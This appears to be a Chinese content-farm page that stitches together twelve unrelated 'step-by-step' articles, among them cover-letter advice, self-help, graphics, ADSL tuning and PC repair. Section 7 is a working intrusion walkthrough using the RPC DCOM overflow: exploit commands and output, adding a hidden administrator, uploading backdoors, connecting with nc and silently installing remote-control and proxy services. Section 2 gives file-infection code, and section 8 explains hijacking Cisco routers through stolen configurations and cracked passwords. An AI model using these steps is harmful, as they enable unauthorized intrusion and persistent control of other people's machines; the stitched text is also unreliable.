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一步一步教你制作优秀求职信

时间：2022-04-30 13:11:55 求职信收藏本文下载本文

“没什么好看的”为你分享14篇“一步一步教你制作优秀求职信”，经本站小编整理后发布，但愿对你的工作、学习、生活带来方便。

一步一步教你制作优秀求职信

篇1：一步一步教你制作优秀求职信

制作简历成为大学生进入职场的一门必修课，数据显示，HR阅读每封简历的时间相当有限，花15秒进行简历的粗略浏览，而阅读感兴趣的简历不超过120秒。由此可见，简历优秀与否直接决定你有没有机会进入下一个环节。如果你即将跨入大四的求职大军队伍，想必下面的内容会对你有所帮助；如果你已在求职路上苦苦挣扎数月，而简历总是石沉大海，那么不如先暂停投递的工作，抽出几十分钟的时间，看看过来人为你提供的这份指南，同时打开你的简历，给它做一个诊断吧。

HR是怎样筛选简历的?

曾在多家大型企业担任人力资源总监的曾文，在其《像找老公一样做招聘》一书中透露，简历的内容大体分为两部分，客观内容主要有个人信息、教育经历、工作经历、个人成绩四个方面;主观内容主要有应聘者对自己的描述。一般来说，面试考官的考察重点放在客观内容上，会仔细寻找与成就有关的内容。“在工作经历与个人成绩方面，描述要有条理，符合逻辑。如一份简历在描述自己的工作经历时，列举了一些着名单位和一些高级岗位，而他所应聘的却是一个普通岗位……如果HR觉得简历中有虚假成分，一般会将应聘者淘汰掉，

”

不应只拥有一份简历模板

有HR指出，企业需要你具备什么的素质，在你的简历中就应当体现出这些素质，并将对方不需要的删除在简历之外。“人岗匹配”原则提醒我们，进入职场不应该只拥有一份简历模板。

一般而言，外企只需要简单的个人信息即可。简历中最重要的项目，是应聘者过去的经历，能否说明其具备一定的素质和能力，并判断其个性特征是否符合企业文化，这要求应聘者用详细的文字或数字化的语言描述在实习中的具体工作及成果。

而国企较为看重的因素有专业课程和成绩、学术活动、研究生师从的导师、与申请职位相关度很强的实习经历、是否学生干部等。

看成功者怎么写求职信?

1.不抄袭求职信。把自己的优势、特点融入其中，撰写出属于自己的独一无二的求职信。

2.采用倒叙方法。建议最好采用倒叙方式来写，直接从最接近的时间入手。

3.添加创造力。可以用PPT、网页等个性化手段来彰显自己的创新能力、工作能力等。

4.引用别人的评价。适当引用别人对你的评价来写“自我评价”，既客观真实又能引起共鸣和注意。

5.不必附加证书。对于在第一轮递简历时就附加很多证书的现象，千万不要这样做，也无须这样做。

篇2：教你一步一步做感染

用最简单的方法实现，

大家测试一下有没有问题。希望大家多做一些探测出来，然后我公开如何加入exe

不改变大小，和修改日期也就是大家所说的感染这些技术都纯属做测试。。。请不要乱用

版本 2

通用对话框1.打开

文件号＝打开文件 (通用对话框1.文件名, , 1)

移动读写位置 (文件号, 1, 25360)

.如果真 (读入一行 (文件号) ＝ “TLOSS error”)

信息框 (“该文件是易语言！！加入文件后不能运行了!!”, 0, )

关闭文件 (文件号)

返回 ()

.如果真结束

移到文件尾 (文件号)

插入字节集 (文件号, 到字节集 (“哈哈”))

关闭文件 (文件号)

篇3：一步一步教你释放潜能

每一个人的真正的自我都是有磁性的，对别人具有强大的影响力、感染力，通常说某个人“个性很有魅力”，其实是指他没有压抑自我的创造性和具有表现自己的勇气。

“不良个性”也可称为“被压抑个性”，是对个人潜能的一种压抑，其特征是不能表现内在的创造自我，因而显得停止、退缩、禁锢、束缚。受压抑的个性，约束真正的自我表现，使自己总有理由拒绝表现自己、害怕正视自己，把真正的自我紧锁在内心深处，并大量地消耗着心理能量。身体终日处于疲惫不堪的状态，思维几乎陷于停顿境地。压抑的状态很多：羞怯、腼腆、敌意、过度的罪恶感、失眠、神经过敏、脾气暴躁、无法与别人相处等。

正如前面所述，每个人自身都蕴藏着无限的潜能，只是未被激发或受到压抑。如果对否定或批评反应过了头，则可能偏离正轨，使前进受阻。如果你见了生人就害羞，如果你惧怕新的陌生的环境，如果你经常觉得不适应和担忧、焦虑和神经过敏，如果你感到紧张、有自我意识感，如果你有类似面部抽搐、不必要的眨眼、颤抖、难以入眠等“紧张症状”，如果你畏缩不前、甘居下游，那么，说明你受到的压抑太重，你对事情过于谨慎和“考虑”的太多，限制了个性的发挥和表现。

假如你是由于潜能受到压抑而遭到不幸和失败，就必须有意识地练习解除抑制的方法，让生活中的你不那么拘谨，不那么担心，不那么过于认真，

学会在思考之前讲话，戒除行动之前“过于仔细”的思考。

那么，究竟该怎样释放潜能呢？

一、释放潜能——你想做什么就做什么

（1）不要事先考虑你想要说些什么，张开嘴巴说出来就行

（2）不要做计划（不要考虑明天），不要有行动前考虑。

“行动—在行动中纠正你的行为”。这个模式看来有些偏颇，但事实上它符合机制开动的原则，一枚鱼雷绝不事先行动—朝目标进攻—然后纠正行进过程中可能产生的一切偏差。

（3）停止批评自己

潜能受压抑的人经常沉溺在自我的批评中，不管作出多么简单的举动，事后他都会对自己说：我真不应该这样做！“在鼓足勇气说完一句话之后，他立刻对自己说：” 也许我不应该这么说，也许别人会有错误的理解。“心理学家奉劝每一位受压抑的人再也不要这样折磨自己，因为有意识的自我批评、自我分析和反省虽然也是必然的，但是作为一种经常不断的、每日每时都进行的自我猜测或者对过去行为的无休止的分析，最终只能导致你行动的失败。要注意这一类的自我批评和自我责备，要使他们立即停止下来。

篇4：看全面教你制作优秀求职信

尊敬的领导：

您好！首先感谢您在百忙之中来阅读我的简历，相信在您在看完之后一定不会失望。我毕业于xx大学，具有X年在XX方面的工作经验，虽然没有一摞摞的获奖证书来作为我的筹码，只能凭自己十几年来刻苦学习的结果和自己吃苦耐劳的本性来作为我的奠基石。“良禽择木而栖，贤臣择文而事”，获知贵公司招贤人才，我慕名而至，希望成为贵公司的一员，尽我所能为贵公司的事业增砖加瓦。在这两年的时间里，我认真学习专业课知识，掌握了一些基本技能，在xxx等地的实习过程中积累了一些的实践经验，更有充分的自信和勇于开拓的精神，我真诚希望公司能给我一次机会，让我有一片能展示自我的空间，为贵公司的发展尽自己的绵薄之力。再次感谢您抽出宝贵的时间阅读我的简历，静候您的回音，谢谢。

此致

敬礼

求职人：**

*年*月

求职信的格式布局技巧几点

段与段之间隔行书写，每段起首留空间，会显得更易于阅读。

无论是手写或是计算机打字，一定要以端正整齐为原则，应多花工夫核正别字或错漏，否则印象分会大减。

不要用铅笔、红笔书写。

信纸信封不要折皱或有污渍，更不要有其它公司或酒店的标记或名称。

加上标题，道明来意，清楚写明自己所应征的职位，方便对方阅读之余，也有利于存盘纪录。

内容必须分段清晰，每段有独立主旨，条理简明，扼要精简，皆因雇主或人事部一天间可能会收到数以百封应征信，如果你的信冗长不堪，将难逃被投篮的命运。

求职信技巧7个

你要想引起人事经理对你的兴趣，首先必须写好你的求职信。求职信的写法没有固定格式，但一些细节是不能疏忽的。

一、姓名、通讯地址、联系电话、电子邮件、网址占据求职信顶端的中间或靠边。注意：每条信息之间分隔清晰，网址独立成行；为便于扫描，每条信息独立成行最好。

二、日期低于联系方式两行，靠右边；提要低于日期一行，靠左边。在英文求职信中，日期靠左边/右边，提要低于日期两行，靠右边。

三、能够用对方的姓名直呼对方最好，因为人们都是喜欢别人称呼自己的名字。所以，想办法去弄清楚面试负责人的姓名和性别。如果不能，你可以使用“尊敬的雇主”或干脆用“早上好”比起用“尊敬的先生或女士”要亲切地多。

四、想尽一切办法，让求职信的第一句话就抓住阅读者，让他能认真地读你的简历。使对方感兴趣的金科玉律是：从对方的利益出发，为对方的利益服务。

五、把你的基本技能、成绩、以及别人对你以往业绩的评价介绍给雇主，对你的工作经历加以概括，如：“在某公司担任会计工作期间，取得了如下成绩：┄┄”如果你的求职信不包括简历，那么长度不应超过六段。

六、向对方致谢，感谢其花时间阅读你的材料，并考虑与你面谈；告诉对方你会在某某时间打电话询问材料是否安全抵达和安排时间面试事宜。即使你打电话问知的结果不尽如人意，但总比你一直等待一个永远不会打来的电话要好。

七、常见的结束语有“此致、敬礼”、“顺颂商安”等。其下是你的签名，字迹不可潦草模糊。如果在联系方式中你没有署名，那么在你的签名下应该打印上你的名字，以确保对方能清晰辨认。

写好求职信的10大要求

①推销：

要牢记这是一封推销自己的信件，你应该尽量突出自己的`优点与长处，并且表示对这份工作很感兴趣，而不是奉上一份个人自传。

②到题：

内容精简到题，段落分明，不宜超过一张纸。若雇主收到你那长达三四页的求职信，只会觉得你缺乏决断能力。

③简明：

文字运用简明、直接，多用短句少用长句。一味贩卖艰涩字句，只会惹人反感。

④正确：

留意文法的正确，切勿写错字。一封满是错字的求职信，难以对写信人委以重任。

⑤专业：

格式整齐干净，除非雇主列明要求手写，否则以打字为佳，强调专业风格——“Businesslike”，笔者曾收过一封以单行字手写的求职信，无论写得怎样出色，也会予人马虎草率、没有诚意之感，当然不作考虑。

⑥风格：

这是一封有关“你”的信件，最好能具备个人的风格，但并不表示要哗众取宠、夸张大胆，而应该就不同的申请职位而度身撰写求职信，配合个人的特色，不可只抄别人的东西草草了事。

⑦用语：

大量使用“ActionVerbs”，和“directed”，“persuaded”，“coordinated”等，以加强整封信的气势与感染力。

⑧准备：

最好事前细心阅读招聘广告列出的雇主要求，逐项针对性地撰写，另外，你所申请的公司是属于什么类型？提供什么服务或产品？申请职位的主要工作是什么？你也应事先搜集资料。

⑨提示：

使用普通大小（A4）的纯白色信纸。

注意纸张质料、打字质素与字款的运用。

行距不可太疏或太密。

保留副本以作翻查。

⑩检查：

撰写完毕后，应反复检查，确保无误，才正式寄出。

因为一些微小的错误，也会予未来雇主一个不够全面及不细心的坏印象，就算连日期、标点符号也要检查清楚，要记着你的求职信，便是你的求职代表。

“撰写求职信时应针对雇主的立场出发，尽量写上雇主有兴趣知道的资料。”

“大多数招聘官一般都相信，如果一个求职者连一份求职信与履历表也写不好的话，很难期望他在工作上会有杰出表现。

篇5：教你一步一步用Fireworks绘制竹子

今天早上用竹盐牙膏刷牙的时候，发现包装上的竹子很好看~ 上班的时候没什么事情就尝试着也做了一个竹子，不过，感觉有些地方还是没有达到想象中的效果，大家可以交流好的意见。

这里先说下制作以前要注意的地方：笔者感觉竹子最重要的部分就是关节部分（2段竹子的结合处）这也是竹子的特点；还有就是竹段中，类似丝状的纹理。

1、首先画一个27*105的矩形（数值近似就可以），然后调节四脚的结点，使矩形中间的位置向内凹。

2、加上渐变色，由于笔者想做的效果并不是那种很真实的竹子效果，所以颜色浅了些；而且只是简单的渐变：#009000 #00cc00

3、在变形的矩形上加一些105高的竖线，注意间距要是不相同的，用来做竹子上竹丝的感觉。颜色要深些：#006600 透镜度调到20。

4、这一步用来给竹子的上下边缘加阴影，用来突出竹段之间接合的部位；在上端边缘的部分画一个长10像素的线段，颜色#006600，高斯模糊1；

5、这一步与上一步基本相同，只不过是在底部边缘的部分画一个长10像素的线段，颜色#ffffff，高斯模糊1；

6、到这一步竹段的部分就已经制作完成了，全选Ctrl+G，然后复制一个竹段，使它和第一个竹段首尾相接，但之间要留一个像素的空隙，在这个空隙中填充一条线段，颜色#006600，透明度30%，

7、这一步制作竹叶：画一个宽35高8的椭圆；删除上下2个结点；调节右边的结点，使图形左尖右宽；

8、给竹叶加内侧发光，颜色#ccff00，最后再在竹叶的靠右边画一条白色的横线，高斯模糊0.7，透明度60；

9、基本的元素都完成了，下面就是摆放啦，这里就不具体说了，大家可以自己随意。不过有几个要注意的地方：竹叶的大小不能全部一样，要适当的调节使之有所区别；竹子摆放的时候要上下错开，看起来自然些，就这样了。

篇6：一步一步教你ADSL提速技巧[网络技巧]

虽然现在的宽带速率已经很快了，但是大家还是希望在以下方面提升一下应用速度：电影BT下载时、在线影音播放时、FTP文件传送时等，广大网友也因此探寻出不少提升宽带速率的方法，那么，都有哪些简单可行的提速方法呢？它们的提速效果又如何呢？接下来就为大家解答。

初测宽带网速

初始测试环境为1M中国电信宽带，通过“世界网络”站点（www.linkwan.com）的宽带测试得到如图1所示速度截图。测试时使用了遨游浏览器，只开了测试网站一个网页标签并关闭了系统杀毒软件，以及所有自动在线更新的软件。

图01 初始速度测试

初级篇：系统提速设置

这是最为初级的一种为宽带提升的方法，

具体操作时，方法1为释放系统保留的宽带，因为Windows包括Vista系统都默认保留了20%的带宽，可以通过“组策略”管理器来释放，如图2所示。

图02 在组策略管理器中释放保留带宽

另一优化网速最直接的方法是改注册表。大家可以参考一些资料，来修改注册表的相应键值。主要是以下几项：MaxMT（修改最大传输单位）、DefaultRcvWindow（设置传输单元缓冲区大小）和DefaultTTL（修改TCP/IP分组寿命）等。通过以上设置后，再返回测试网站测试，为了尽量获得准确结果，从多次测试中取了一个中间值；如图3所示，速率有了轻微的提升，但效果不明显。

图03 测试结果

篇7：一步步教你学dcomrpc入侵

最近，网上非常流行dcomrpc，那今天我们就教你详细的利用dcomrpc入侵，和入侵之后必须做什么。

需要的工具：

很好的： radmin.EⅩE

扫描工具: retinarpcdcom.EⅩE

溢出攻击工具:RpcDcom（通用溢出工具)

脚本开启telnet工具：telnet.vbe opentelnet.EⅩE resumetelnet.EⅩE

代理：sksockserver.EⅩE

后门程序：WinEggDropShellPro3thVersion

好了，该做的都做的差不多了。

先使用retinarpcdcom.EⅩE扫描一个网段。查找有rpc漏洞的机子，这个漏洞需要135端口开放，（想必随便扫一下就会发现有许多主机开放的135端口）

211.217.50.xx 第一个主机就被扫出来又此漏洞。

看看211.217.50.xx有没有其他的漏洞或是若口令之类的.我们可以使用流光扫描一下其他的缺陷主机开了3389端口我们可以上去看一下是xp版本还是win2k是win2k server版本展开命令行：

[查看dcomrpc的用法用法 dcomrpc -d [options] ]

F:/hack>cd rpc/dcomrpc

RPC DCOM Expl01t coded by .:[oc192.us]:. Security

Complied and Modified by Expl01t www.longker.com

Usage:

dcomrpc -d [options]

Options:

-d: Hostname to attack [Required]

-t: Type [Default: 0]

-r: Return address [Default: Selected from target]

-p: Attack port [Default: 135]

-l: Bindshell port [Default: 666]

Types:

0 [0x0018759f]: [Win2k-Universal]

1 [0x0100139d]: [WinXP-Universal]

开始进行溢出：

F:/hack>cd rpc/dcomrpc -d 211.217.50.xx 0

RPC DCOM remote expl01t - .:[oc192.us]:. Security

Complied and recorrected by Expl01t www.longker.com

[+] Resolving host..

[+] Done.

[+] Expl01ting....Just wait......

等到出现，说明溢出成功

c:/winnt/system32>

接着我们建立用户

c:/winnt/system32>net user blueye$ 1111 /add

命令成功完成。

把用户添加成超级管理员

c:/winnt/system32>net localgroup administrators blueye$ /add

命令成功完成。

看看共享开了没有没有的话把共享开开

c:/winnt/system32>net share

清单是空的。

c:/winnt/system32>net share ipc$

命令成功完成。

c:/winnt/system32>net share admin$

命令成功完成。

到这里我们入侵告一段落

[ 建立 IPC$ 连接，也可以使用tftp上传，先和对方建立连接]

F:/hack>net use //211.217.50.xx/ipc$ ”1111" /user:blueye$

[ 上传一个后门程序到对方的主机里]

F:/hack>copy d:/inject.EⅩE //211.217.50.xx/admin$/system32

F:/hack>copy d:/tback.dll //211.217.50.xx/admin$/system32

然后运行后门程序，我们可以使用at命令，

但是有的机器把at明令禁止了，建议直接开起telnet

使用opentelnet.EⅩE 关闭开启的telnet使用resumetelnet /

/ip user password

如果忘记开共享可以使用脚本开启telnet来开共享，用法:

cscript. telnet.vbe ip user password null port (null是验证方式)

F:/hack>opentenet //211.217.50.xx blueye$ 1111 1 4567

F:/hack>telnet 211.217.50.xx 4567

（省略）

连接并运行后门程序运行后门程序命令根目录：inject.EⅩE -run

（后门使用方法和安装都在zip文件里面包含了）

后门端口123456

F:/hack>nc 211.217.50.xx 123456

Welcome To WinEggDropShell Matrix Version

[Melody]

下面安装radmin，配置好的radmin客户端有4个文件。配置radmin客户端可参考相关文章。

radmin.reg

raddrv.dll

admdll.dll

r_server.EⅩE

把这个4个文件copy c:/winnt/system32

在目录下面执行命令

c:/winnt/system32>r_server /s radmin.reg -----导入注册表

c:/winnt/system32>r_server /install /silence -----安装radmin.并且不显示托盘

c:/winnt/system32>net start r_server ----- 启动服务

安装sock代理

把sksockserver.EⅩE copy c:/winnt/system32

c:/winnt/system32>sksockserver /install -----安装服务

c:/winnt/system32>sksockserver -config port 1234 ----端口定在1234 自己可以改

c:/winnt/system32>sksockserver -config starttype 2 ----开机自动启动

c:/winnt/system32>net start skserver ----启动服务

最后删除共享

net share ipc$ /del

net share admin$ /del

在安装radmin的时候你发现有人已经安装了。

看操作 (我输入的内容)

后门连接

F:/hack>nc 211.217.50.xx 123456

Welcome To WinEggDropShell Matrix Version

[Melody ]#（pslist）

[Melody ]#(pskill r_server)

[Melody ]#(shell)

c:/winnt/system32>(del r_server.EⅩE)

c:/winnt/system32>(del admdll.dll)

c:/winnt/system32>(del raddrv.dll)

copy你自己的上去，然后安装

省事的办法直接导入注册表，然后重新输入安装命令运行，就可以了，只是在原来默认端口上面架上了密码。

篇8：一步一步教你干掉路由器

目标：CISCO路由器（先在大多数都用这个）

先在CISCO都是用的CISCOISO软件，也就是路由器的操做系统

工具：其实也不要什么工具的，真想学的，我想还是全部手工吧

好了，开始了

先确定目标

我想大家很多人都会了吧！！！如果连这你都找不到，我看你还是别干了，

接着是重点了！！

我们要得到的是一个非常重要的东西，也是我们这次的重点，也是难点！

就是要的到路由器的系统配制文件，，，

这个文件可以说是路由工做的核心，让路由知到该干吗？

怎么干？如果你有了这个文件，我可以说你成功了80%呢！

怎么才能得到这个文件了呢，方法很多了

1通过SNMP得道，这样是最长用的，我想用过SNMP的人会知道怎么做了，就不多说了！

2攻击TFTP服务器

要得到的就是CISCO配制文件的存取权限》

3监视发往CISCOTAC的邮件（也是CISCO技术助理中心）

因为一般路由出了问题，都要求发出配制文件那。。。

4还有很多方法那，我记的黑白也有这么一篇文章，不过我不暂成大家用那种方法，太危险了！！！

还有很法子，那包扩社会工程那

好了我想很多人都拿都到了，那么开始吧！！！

先面是我拿到的一个的一部分！！

rtr1-a-1#shrun

Buildingconfiguration...

Currentconfiguration：

！

version12.1

noservicepad

servicetimestampsdebuguptime

servicetimestampsloguptime

servicepassWord-encryption

serviceudp-small-serversmax-servers69

servicehide-telnet-addresses

！

hostname

！

bootsystemflashslot0：c7200-p-mz.121-1a.bin

enablesecret5$1$PtLl$uRLnJvuE7HMX.6r55gPOW1

enablepassword70822455D0A161D1053354F

！

ipsubnet-zero

noipsource-route

noipfinger

ipdomain-name

ipname-server

ipname-server127，

0。01

我把IP和机器明都去了，把公安来找我，因为这是中国电信的一个路由。

好了关键的来了。。

有没看到这么一行

password70822455D0A161D1053354F

这就是密码了，可是是加过密的

CISCO IOS 有三种口令类型

0口令这个不用说了是明文的

7口令就是我们那行看到的那个，有没看到那个7，就是了。

现在一般都用这个。

5口令这个就比较麻烦了，是用MD5哈希算法加密的，我们就不管了，这是三种中最麻烦的一种，也是加密最好的一种。

接着去下个GETPASS。用来解加密口令用的

到了这，我想大家有人以TELNET上了路由了吧

最后提醒大家注意安全，别瞎玩哟！

篇9：教你一步一步锁定自己的电脑(一)

教你一步一步锁定自己的电脑

如果您在图书馆或网吧使用电脑，您可能已经发现了，这些电脑是被“锁定”的，例如，Windows可能会禁止我们安装新的程序，禁止打开运行对话框，或者禁止使用控制面板。当然，这一点也很好理解，没有哪个管理员愿意面对怀有恶意或没有经验的用户对系统的折腾。

很多公用的电脑都会被配置使用微软的Steady State（原名为Shared Computer Toolkit）工具，该工具可为管理员提供更简单的方法对用户进行限制。这个工具不止适合办公和公用环境，而且也适合家用。例如，如果您要为小孩提供电脑，则可以使用Steady State决定小孩可以或不准进行的操作。

其实Steady State最大的优势还是成本：完全免费。只要使用Windows XP Home Edition、XP Professional（仅限32位）、XP Tablet PC Edition或任何版本的Vista（依然仅限32位），那么就可以在免费下载和使用这一仅仅6.4MB的软件。

准备活动

Steady State的安装和配置需要使用标准用户帐户（需要具有管理员特权）进行。在首次运行时可以看到，该软件的界面分为两部分：全局计算机设置，以及用户设置。大部分设置都要在用户设置中进行。首先，单击“添加新用户”按钮（可以添加任意数量的用户，每个用户可进行不同的限制），随后只需要选择名称、图标以及密码（密码是可选的）即可。

准备用户帐户

在创建了新的Steady State帐户后，可以看见四个新的选项卡：常规、Windows限制、功能限制，以及阻止程序。通过这些选项，就可以让该帐户可完成的所有操作都受到限制。

随后，如果我们还有某些需要使用的程序没有安装，并且希望Steady State用户可以访问这些程序，请立刻安装所有必要程序。安装完成后，注销当前帐户，然后登录到Steady State帐户（帐户的图片会出现在Windows登录界面上，另外还有“普通”帐户的图片），

在登录后，从桌面上删除所有不希望被使用的程序的图标。而对于允许使用的图标，则要创建对应的快捷方式。

在我们的试验帐户中，我们创建了用于启动Adobe Reader、Deepburner、Internet Explorer、Live Messenger、Media Player、Photo Gallery，以及一些Windows游戏的快捷方式，另外还有OpenOffice中的套件Calc以及Writer。

另外我们可能还需要调整Windows的外观。对于我们，比较喜欢使用默认的Windows标准界面（类似Windows经典），但我们运行的是Vista，因此将其改为Windows Aero。

设置用户限制

随后需要注销该帐户，并使用最早使用的帐户登录。接着，启动Steady State，然后单击新建帐户的图标（在“用户设置”下）。随后需要应用所需的限制。

在新建好Steady State帐户后，还可以进一步设置用户设置，然后将其锁定。

在“常规”选项卡下，有两个计时器可供使用：一个可在特定的空间时间后将用户注销，一个可在使用特定时间后将用户注销。设置“使用时间”选项可有效避免孩子长时间使用电脑（当然，注销后立刻就可以重新登录并继续使用）。如果有必要，还可以在屏幕上显示倒计时的时钟。

当用户注销后（主动注销，或到时间自动注销），还可以让电脑自动重启动。如果使用了磁盘保护功能（见下文），则该选项将很有必要，但如果电脑上还有其他帐户，并且启用了快速用户切换，则不要使用该选项，因为其他人可能会丢失数据。

Steady State的大部分选项，超过80个，都位于“Windows限制”和“功能限制”选项卡下。在这些选项中，我们可以禁止右键单击，删除开始菜单中几乎所有选项（甚至关机按钮），以及对IE设置各种限制。另外还可以禁止访问某些特定的内容，例如任务栏、注册表编辑器，或命令行。对于这两个选项卡，不仅可以手工选中要使用的设置，也可以选择预设的限制级别：低、中或高。选择“高”也等同于选中每个选项。

篇10：一步一步教你释放你的潜能方法

释放潜能的方法

每一个人的真正的自我都是有磁性的，对别人具有强大的影响力、感染力。通常说某个人“个性很有魅力”，其实是指他没有压抑自我的创造性和具有表现自己的勇气。

假如你是由于潜能受到压抑而遭到不幸和失败，就必须有意识地练习解除抑制的方法，让生活中的你不那么拘谨，不那么担心，不那么过于认真。学会在思考之前讲话，戒除行动之前“过于仔细”的思考。

那么，究竟该怎样释放潜能呢？

一、释放潜能——你想做什么就做什么

（1）不要事先考虑你想要说些什么，张开嘴巴说出来就行

（2）不要做计划（不要考虑明天），不要有行动前考虑。

（3）停止批评自己

潜能受压抑的人经常沉溺在自我的批评中，不管作出多么简单的举动，事后他都会对自己说：我真不应该这样做！“在鼓足勇气说完一句话之后，他立刻对自己说：”也许我不应该这么说，也许别人会有错误的理解。“心理学家奉劝每一位受压抑的人再也不要这样折磨自己，因为有意识的自我批评、自我分析和反省虽然也是必然的，但是作为一种经常不断的、每日每时都进行的自我猜测或者对过去行为的无休止的分析，最终只能导致你行动的失败。要注意这一类的自我批评和自我责备，要使他们立即停止下来。

二、释放潜能——循序式肌肉放松方法

这里介绍的一种有效循序式肌肉放松法，来释放被压抑的个性潜能。

初步的肌肉放松运动并不难学，跟着下列的要点练习大约一星期，就可以掌握到放松的要决。

（1）安排30分钟时间

（2）安排一个宁静而最好是黑暗的房间，内有一张舒适的床或沙发。

（3）穿着宽松的衣服（如睡衣），或将自己的紧身衣裤解松，然后睡或躺在床或沙发上。

（4）深呼吸3下，每一次吸气之后，尽可能忍气不呼出，并全身紧张，然后握紧拳头，这一过程是让你体会到紧张的感觉。在每一次忍受不住时，再将气缓缓呼出，尽管能导引自己有”如释重负“之感，这一过程是让你体会到松弛的感觉。

（5）尽量感受紧张的不适感觉与松弛的舒适感的强烈对比，两手松弛的妙处。

（6）按身体部位逐一发布”松弛的自我催眠命令“。这些部位依次是手指及手掌、前臂、手臂、头皮、前额、眼、耳、口、鼻、下颚、颈、脖、背、前胸、后腰、肚、臀、耻骨以及生殖器、大腿、膝、小腿、脚及脚趾。你依照这些部位的秩序，发布以下的指令：”放松松弛，我现在感到非常舒畅。我（部位）现在是非常的松弛，我明显感觉这部位有一种沉重而舒服的感觉。

（7）在向自己发布的这些命令的同时，你要尽量体验全身松弛的感受。

（8）当完成手指到脚趾的松弛的过程，想象一股暖流，由头顶缓缓地流下你的脖子、胸、肚、腿、以及脚尖。这暖流带来的舒适感，大大地加深全身的松弛程度。

（9）静静地躺在床上或沙发上，尽情享受这难得的松弛，体会这状态的美好。

除了第9步没有时间限制外，前面由手至脚整个逐步放松的过程需大约6至7分钟。如果你在不到6分钟的时间内完成，那说明你还未能达到松弛状态。

要点：（1）假如（1）和（2）的环境不许可，你应该弹性变通一下。

（2）保证在这段时间内没有外界骚扰。

（3）在（1）中之所以安排半小时的时间去做一个7分钟左右的程序，是为了保证你不为时间所限而尽量放松。有一位工程师坚持练习此放松术，纠正了严重的语言缺陷，其逻辑思维和工作才干也获得惊人的发展，他温顺待人的态度和冷静的处世方法，也得到周围人的赞赏。

三、释放潜能——不断进行积极的自我暗示

暗示会产生强烈的心理优势，并引导潜在的动机产生行为。积极的带有成功意识的暗示会让你较少利用毅志力，在自发心理中实现自己的目标。

在学习自我暗示时，要牢记5个原则：

1、简捷

你默念的句子要简单有力。例如：“我越来越富有。”“我挣了越来越多的钱”等等。

2、积极

这一点极为重要，如果你说：“我不要挨穷”，虽未言“穷”，但这种消极的语言会将“挨穷”的观念印在你的潜意识里。因此，你要正面地说“我越来越富有。”

3、信念

你的句子要有”可行性，以避免与心理产生矛盾与抗拒。如果你觉得“我会在今年内挣到100万”是不太可能的话，选择一个您能够接受的数目。例如：“我一年内会赚到50万或30万。”

4、想象

默诵或朗诵自己定下的语句时，要在脑海里清晰地形成意想。

5、感情

想象自己健康，你要有浑身是劲的感觉；想象自己成功，你要有丰富达到人生的感受。成功学之父拿破仑。希尔博士也指出“当你朗诵（或默诵）你的套句时要把感情贯注进去，否则光嘴里念是不会有结果的，你的潜意识是依靠思想和感受的协调去动作的。

篇11：一步步教你赶走恶意软件

对于网络管理员以及IT顾问来说，在桌面系统支持工作中，清除恶意软件应该算是最让人头疼的一项了，你必须同时清理多台电脑，如果过程中遇到任何干扰，不论是回复邮件，接听电话，还是有人来找你，都会影响到工作的效果。但是现实社会中充斥着各种干扰，因此一般来说，我们很难以很高的效率完成这种工作。

不过一个简单的表格却可以帮到我们。我向大家推出免费的Virus & Spyware Removal Checklist ，帮助大家高效率的隔离和清除病毒，间谍软件以及rootkit等麻烦。

该清单一开始会提醒用户不要忘记对现有数据进行镜像备份。将备份文件存储在其它磁盘后，就可以安心的对问题系统进行处理了。由于备份数据中包含了用户设置，配置信息，下载的文件，电子邮件以及全部用户数据，因此用户可以删除任何被感染的文件，而不必担心影响到系统，

就算发生了最糟糕的情况，用户还可以将备份恢复出来，继续进行修复工作。另外，万一用户需要重新安装系统，也可以从备份文件中恢复原有的系统配置等必要内容。

接下来，清单会列出一些关键步骤让我们检查，比如检查杀毒软件，反间谍软件以及反rootkit 软件是否都安装好并且升级到最新版本。

然后用户可以根据清单中所列的，检查有关Microsoft Autoruns 方面的内容并禁止自动运行。另外，清单还会建议用户删除有问题的系统还原点，删除临时文件，卸载不必要的程序或流氓软件。之后，清单会建议用户在修复问题后重新建立一个系统还原点。

如果锁定和删除恶意软件的尝试失败了，你可以根据清单的指示选择进一步的策略。严重的系统感染或由于感染导致的多种故障，可能需要用户将硬盘拆下来并作为从盘接入一个独立的测试电脑中，或者使用预启动环境如Linux启动盘，BartPE, Knoppix等类似技术，然后在进行修复工作。

如果用户想重新排列清单中各个步骤的顺序，或想加入自己习惯的某些步骤，也可以方便的对清单进行编辑修改，只需要系统中有Excel 或Excel 即可。

篇12：教你如何一步一步检修电脑硬件故障

随着大家电脑应用水平的不断提高，有越来越多的朋友参加到了DIYer的队伍中来，自己动手组装一台电脑已非难事，可是一旦遇到电脑的硬件故障，很多初学者往往会觉得手足无措，搞不清楚故障的原因所在。笔者在排除电脑硬件故障的过程中总结了一些经验，整理成文与朋友们共享。

事出有因引发硬件故障的原因

1．硬件本身质量不佳。粗糙的生产工艺、劣质的制作材料、非标准的规格尺寸等都是引发故障的隐藏因素。由此常常引发板卡上元件焊点的虚焊脱焊、插接件之间接触不良、连接导线短路断路等故障。

2．人为因素影响。操作人员的使用习惯和应用水平也不容小觑，例如带电插拔设备、设备之间错误的插接方式、不正确的BIOS参数设置等均可导致硬件故障。

3．使用环境影响。这里的环境可以包括温度、湿度、灰尘、电磁干扰、供电质量等方面。每一方面的影响都是严重的，例如过高的环境温度无疑会严重影响设备的性能等等。

4．其他影响。由于设备的正常磨损和硬件老化也常常引发硬件故障。

步步为营检修硬件故障的步骤

现在我们对硬件故障产生的原因有了一个大致的了解，那么应该如何检修这些故障呢？一般而言我们应该遵循以下原则:

1．先软件后硬件

电脑发生故障后，一定要在排除软件方面的原因（例如系统注册表损坏、BIOS参数设置不当、硬盘主引导扇区损坏等）后再考虑硬件原因，否则很容易走弯路。

2．先外设后主机

由于外设原因引发的故障往往比较容易发现和排除，可以先根据系统报错信息检查键盘、鼠标、显示器、打印机等外部设备的各种连线和本身工作状况。在排除外设方面的原因后，再来考虑主机。

3．先电源后部件

作为电脑主机的动力源泉，电源的作用很关键。电源功率不足、输出电压电流不正常等都会导致各种故障的发生。因此，应该在首先排除电源的问题后再考虑其他部件。

4．先简单后复杂

目前的电脑硬件产品并不像我们想象的那么脆弱、那么容易损坏。因此在遇到硬件故障时，应该从最简单的原因开始检查。如各种线缆的连接情况是否正常、各种插卡是否存在接触不良的情况等。在进行上述检查后而故障依旧，这时方可考虑部件的电路部分或机械部分存在较复杂的故障。

对症下药检修硬件故障的方法

1．软件排障

由于软件设置方面的原因导致硬件无法工作很常见，这时我们可以采取的方法有：

